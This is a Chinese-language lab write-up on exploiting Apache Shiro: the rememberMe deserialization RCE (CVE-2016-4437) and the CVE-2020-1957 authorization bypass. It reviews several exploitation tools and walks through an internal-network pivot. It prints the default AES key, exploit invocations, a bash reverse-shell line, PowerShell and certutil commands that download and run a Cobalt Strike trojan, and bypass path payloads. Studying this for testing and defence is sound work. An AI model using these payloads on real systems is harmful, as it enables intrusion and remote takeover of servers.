框架安全之Shiro滲透


本篇文章是Shiro框架復現記錄,記錄了實際中常見的Shiro框架漏洞並如何利用,對漏洞底層的原理簡單分析,主要分為五個部分:Shiro簡單介紹、相關環境搭建、漏洞復現、工具介紹和自建內網環境實戰。本篇文章由淺入深地復現了兩個經典漏洞及介紹五個Shiro滲透工具,相關參考文章也在文中有列出。此外,文中也可能會出現部分錯誤,望讀者指出,謝謝。接着,開始我們的Shiro滲透之路學習!!

一、Shiro簡介

1、Shiro介紹

Apache Shiro是一個強大且易用的Java安全框架,用於身份驗證、授權、密碼和會話管理,具有以下特點:

  • 易於使用——易用性是項目的最終目標。應用程序安全非常令人困惑和沮喪,被認為是“不可避免的災難”。如果你讓它簡化到新手都可以使用它,它就將不再是一種痛苦了。
  • 全面——沒有其他安全框架的寬度范圍可以同Apache Shiro一樣,它可以成為你的“一站式”為您的安全需求提供保障。
  • 靈活——Apache Shiro可以在任何應用程序環境中工作。雖然在網絡工作、EJB和IoC環境中可能並不需要它。但Shiro的授權也沒有任何規范,甚至沒有許多依賴關系。
  • Web支持——Apache Shiro擁有令人興奮的web應用程序支持,允許您基於應用程序的url創建靈活的安全策略和網絡協議(例如REST),同時還提供一組JSP庫控制頁面輸出。
  • 低耦合——Shiro干凈的API和設計模式使它容易與許多其他框架和應用程序集成。你會看到Shiro無縫地集成Spring這樣的框架, 以及Grails, Wicket, Tapestry, Mule, Apache Camel, Vaadin…等。
  • 被廣泛支持——Apache Shiro是Apache軟件基金會的一部分。項目開發和用戶組都有友好的網民願意幫助。這樣的商業公司如果需要Katasoft還提供專業的支持和服務。

2、Shiro漏洞原理

Shiro框架下,用戶登陸成功后會生成一個經過加密的Cookie。其CookieKey的值為RememberMeValue的值是經過序列化、AES加密和Base64編碼后得到的結果。

服務端在接收到一個Cookie時,會按照如下步驟進行解析處理:

  1. 檢索RememberMe Cookie的值
  2. 進行Base64解碼
  3. 進行AES解碼
  4. 進行反序列化操作

在第4步中的調用反序列化時未進行任何過濾,進而可以導致出發遠程代碼執行漏洞。

由於使用了AES加密,成功利用該漏洞需要獲取AES的加密密鑰,在Shiro1.2.4版本之前AES的加密密鑰為硬編碼,其默認密鑰的Base64編碼后的值為kPH+bIxk5D2deZiIxcaaaA==,於是就可得到Payload的構造流程:

惡意命令-->序列化-->AES加密-->base64編碼-->發送Cookie

目前官方通過去掉硬編碼的密鑰是的每次生成一個密鑰來解決其漏洞,但可以通過搜索引擎等方式收集到不同的密鑰,提高對該漏洞的利用成功率。

3、Shiro漏洞指紋

響應包中存在字段set-Cookie: rememberMe=deleteMe

二、環境搭建

1、Java1.8安裝

下載地址:
https://www.java.com/zh-CN/download/

默認下一步安裝即可

2、Tomcat8.x安裝

下載地址:
https://tomcat.apache.org/download-80.cgi

默認下一步安裝即可

3、部署Shiro war包

whiro.war包放置C:\Tomcat 8.5\webapps\目錄下

開啟Tomcat

gxq8sI.png

訪問網址:192.168.112.151:8080,該ip是環境自身ip地址

gxq3QA.png

4、Vulhub靶場搭建

三、漏洞復現

以復現操作為主,底層原理解析見之后的文章

1、Apache Shiro反序列化漏洞(CVE-2016-4437)

AES密鑰猜解RCE

0x01 漏洞概述

Shiro框架下,用戶登陸成功后會生成一個經過加密的Cookie。其CookieKey的值為RememberMeValue的值是經過序列化、AES加密和Base64編碼后得到的結果。AES的加密密鑰為硬編碼,導致攻擊者可以構造惡意數據造成反序列化RCE漏洞

影響版本:

Shiro < 1.2.5

0x02 漏洞指紋

響應包中存在字段set-Cookie: rememberMe=deleteMe

0x03 漏洞利用

1)使用工具進行AES密鑰猜解

gxqlzd.png

2)使用工具命令執行

gxqQRH.png

0x04 自動化工具及上線CS

這里介紹一款反序列化遠程命令執行利用腳本shiro-1.2.4-rce傳送門

利用條件:shiro <= 1.2.4

使用延時判斷keygadget,即使目標不出網也可以檢測是否存在漏洞。Python腳本需要調用ysoserial-sleep.jar,這里的ysoserial-sleep.jar文件並不是原版的,增加了延時命令功能,故不要使用原版ysoserial,否則將無法檢測。該工具具有4個特性:

  1. Key可修改添加
  2. 具有延時功能
  3. 執行的命令使用了Base64編碼
  4. 區分LinuxWindows

使用方法:

gxqKiD.png

輸入python3 shiro-1.2.4_rce.py http://192.168.112.151:8080/shiro/
這里的IP是剛剛在Win7上搭建的環境的IP

執行calc,遠程打開目標主機上的計算器程序

gxqMJe.png

注意點:這里命令是自動編制執行的,仍可執行,但是無回顯

上線CS:

由於上述自動化工具沒有回顯,這里嘗試上線到CS后進一步滲透

1)開啟teamserver

teamserver 192.168.112.145 1111

gxqmdK.png

2)生成木馬文件

開啟python簡易http服務,但是我這win7沒安裝python,就將該木馬文件放到kali上,在開啟簡易http用於傳輸

gxqeZ6.png

3)Kali上開啟python簡易HTTP服務

python -m SimpleHTTPServer 8008

gxqVqx.png

4)結合之前得到的shell上線CS

powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.112.149:8008/Shiro1.exe','Shiro1.exe');start-process Shiro1.exe

gxqnIO.png

2、 Apache Shiro權限繞過漏洞(CVE-2020-1957)

越權訪問

參考:Shiro 權限繞過漏洞分析(CVE-2020-1957) - 斗象能力中心 (riskivy.com)

0x01 漏洞概述

Shiro框架使用攔截器對用戶訪問權限進行控制,常見的有如anon、authc等攔截器。

anon攔截器為匿名攔截器,無需登陸即可進行訪問,一般用於靜態資源。
authc為登陸攔截器,需要登陸才可以訪問。

用戶可以在Shiro.ini編寫匹配URL配置,將會攔截匹配的URL,並執行響應的攔截器。從而實現對URL的訪問控制,URL路徑表達式通常為ANT格式。即訪問/index時無需登陸,而訪問/user/test時需要登陸認證。

#Shiro.ini
/index = anon
/user/** = authc
------
Ant格式:
?:匹配一個字符
*:匹配零個或多個字符串
**:匹配路徑中的零個或多個路徑

這里的/**可以匹配路徑,即可以匹配到/user/test/,而/*只能匹配到單個或多個字符串,即/user/test。那么假設配置內改為:/user/* = authc,則可以匹配到/user/test但無法匹配到/user/test/(多了個斜桿),那么就會放行/user/test/。然后進入到Spring(Servlet)攔截器中,對於Spring,上述兩個路徑都是一致的,於是就造成了權限繞過。

影響版本:

Shiro < 1.5.3

0x02 漏洞環境

這里簡單搭建環境測試下

1)拉取鏡像

docker pull vulfocus/shiro-cve_2020_1957

gxqOYD.png

2)查看並開啟docker

docker images

docker run -d -p 8080:8080 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=192.168.112.141 29136b1d3c61

docker ps

gxqLFO.png

3)訪問靶機,開啟成功

gxqoO1.png

0x03 漏洞利用

1)訪問/hello/1,返回302重定向信息

/hello/1

gxqbTK.png

2)訪問/hello/1/,成功繞過authc攔截器

/hello/1/

gxqHw6.png

除此之外,還可以使用下面的payload

/abcd;/../hello/1

gxq7ex.png

0x04 類似漏洞

類似的漏洞還有CVE-2020-11989、CVE-2020-13933

四、Shiro滲透工具介紹

測試靶機地址信息:

Win7搭建:
192.168.112.151
http://192.168.112.151:8080/shiro/
Linux Vulhub靶機:
192.168.112.141
http://192.168.112.141:8080

1、shiro反序列化漏洞綜合利用工具v1.5

猜解Key和命令執行,對Linux較友好

工具截圖:

gxLM7V.png

工具使用:

該工具主要給用於測試,上手簡單,將目標地址填入對應欄即可

經測試Windows環境下有點小問題,能猜解Key但是無法命令注入

gxLmXn.png

在Linux下使用體驗較好

gxLumq.png

2、Shiro反序列化回顯工具v2.3

猜解Key,效果一般

工具截圖:
該工具可自行添加Key

gxLK00.png

工具使用:

上手也是挺簡單的,將key文件導入至Key框中,選擇默認DNSLOG即可,開始檢測。

不過體驗時經常會找不到key

3、Shiro命令執行工具-雷石安全實驗室

猜解Key,內置117個Key

工具截圖:

gxLZlj.png

工具使用:

填入url,點擊DNSLOG檢測

gxLe6s.png

4、Shiro550/721漏洞檢測v2.51

用於外網的Key猜解及getshell,對Linux較友好

工具地址:
https://github.com/feihong-cs/ShiroExploit-Deprecated

工具截圖:

gxL4N8.png

工具使用:

添加目標地址http://192.168.112.151:8080/shiro/,點擊下一步,選擇dnslog.cn進行漏洞檢測,點擊下一步進行猜解。

gxLcjA.png

獲取到Key值后,該工具提供了三種方式進行下一步的滲透,具體如下:

反彈Shell(Linux):采用 bash -i >& /dev/tcp/1.2.3.4/443 0>&1 命令獲取shell
反彈Shell(Windows):采用 bitsadmin下載指定URL的exe可執行文件執行功能獲取shell
獲取Webshell 在給出的路徑中寫入webshell,webshell的內容在config目錄下的shell.jsp中

這里選擇反彈Shell(Linux),下面結合Kali獲取到shellkali端開啟監聽,在命令行中寫入kali的地址及端口號。

gxLRBt.png

gxL2nI.png

選擇反彈Shell(Windows)進行嘗試,這里先啟動了CS、python簡易服務器,按照命令格式,輸入下載exe文件的url,但是並未成功。看到下面有一行代碼,測試直接在裝有shiro主機處是否有效。

gxLWHP.png

certutil.exe -urlcache -split -f http://192.168.112.149:8010/Shiro1.exe shell.exe & shell.exe

結果上線CS成功,說明該工具在命令執行這方面還是有點小bug

gxLhAf.png

測試獲取Webshell選項,同樣是有點小問題。

5、shiro-1.2.4-rce

可用於內網猜解Key,對Linux和Windows都支持較好

這里介紹一款反序列化遠程命令執行利用腳本shiro-1.2.4-rce

工具地址:
https://github.com/zhzyker/shiro-1.2.4-rce)

工具截圖:

gxqKiD.png

利用條件:shiro <= 1.2.4

使用延時判斷keygadget,即使目標不出網也可以檢測是否存在漏洞。Python腳本需要調用ysoserial-sleep.jar,這里的ysoserial-sleep.jar文件並不是原版的,增加了延時命令功能,故不要使用原版ysoserial,否則將無法檢測。該工具具有4個特性

  1. Key可修改添加
  2. 具有延時功能
  3. 執行的命令使用了Base64編碼
  4. 區分LinuxWindows

工具使用:

python3 shiro-1.2.4_rce.py http://192.168.112.151:8080/shiro/

這里的IP是剛剛在Win7上搭建的環境的IP

選擇操作系統,這里選擇Windows。如果未知操作系統類型,可以隨便選一個,錯了再跑一遍即可。

執行calc,遠程打開目標主機上的計算器程序

gxqMJe.png

注意點:這里命令是自動編制執行的,仍可執行,但是無回顯

五、內網Shiro滲透|上線CS

1、環境配置信息

內網主機
搭建了shiro框架
10.10.10.100

內網對外服務器
充當一個跳板
10.10.10.11
192.168.112.157

公網服務器
用於和內網連接
192.168.112.145

Kali Linux
192.168.112.149

2、實驗模擬過程

1)獲取內網服務器並上線CS

重點在於后面內網主機的獲取,這里直接假設獲取了服務器的權限並上線了CS

gxOGUf.png

2)建立frp代理

frps.exe -c frps.ini
frpc.exe -c frpc.ini

這里設置有點小問題,frps.ini中的bind_addr應該設置為0.0.0.0接收全部地址的請求。但是這里也能進行下去,我思考下

gxO8VP.png

在公網服務器上開啟Proxifier代理隧道

gxOQKA.png

3)Kali通過代理使用腳本進行Attack

配置proxychains.conf

vi /etc/proxychains4.conf

gxO1bt.png

執行攻擊腳本

proxychains python3 shiro-1.2.4_rce.py http://10.10.10.100:8080/shiro/

gxOlDI.png

成功猜解到加密密鑰,得到一個shell框

gxOKvd.png

下一步就是上線CS了

4)創建中轉監聽器

gxOZ4O.png

選擇監聽器和監聽主機(這里的監聽主機Host需要改為內網的地址)

gxOn8e.png

5)生成木馬

gxOmCD.png

選擇中轉監聽器

gxXMJU.png

6)內網主機上線CS

將該木馬文件放到內網服務器目錄上(由於這里沒有服務器目錄,使用開啟python簡易服務器進行模擬,傳輸木馬文件)

python -m http.server 80

gxOVUK.png

輸入命令,上線CS

powershell (new-object System.Net.WebClient).DownloadFile('http://10.10.10.11/shiro001.exe','shiro.exe');start-process shiro.exe

gxOugH.png

遺憾的是這里還是有點小bug,沒能復現成功,但基本思路就是這樣

六、總結

Shiro框架使用了AES對稱加密技術,故其加密密鑰與解密密鑰一致,並且密鑰是硬編碼在代碼中的,容易獲取。也就是說在獲取了密鑰之后可以通過構建惡意的Cookie獲取權限執行攻擊命令,得到root權限。解決措施就是升級Shiro版本至shiro1.2.5以上。而對於最近出現的shiro權限繞過漏洞,應需盡量避免使用*通配符作為動態路由攔截器的URL路徑表達式或者升級shiro1.5.2版本以上。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM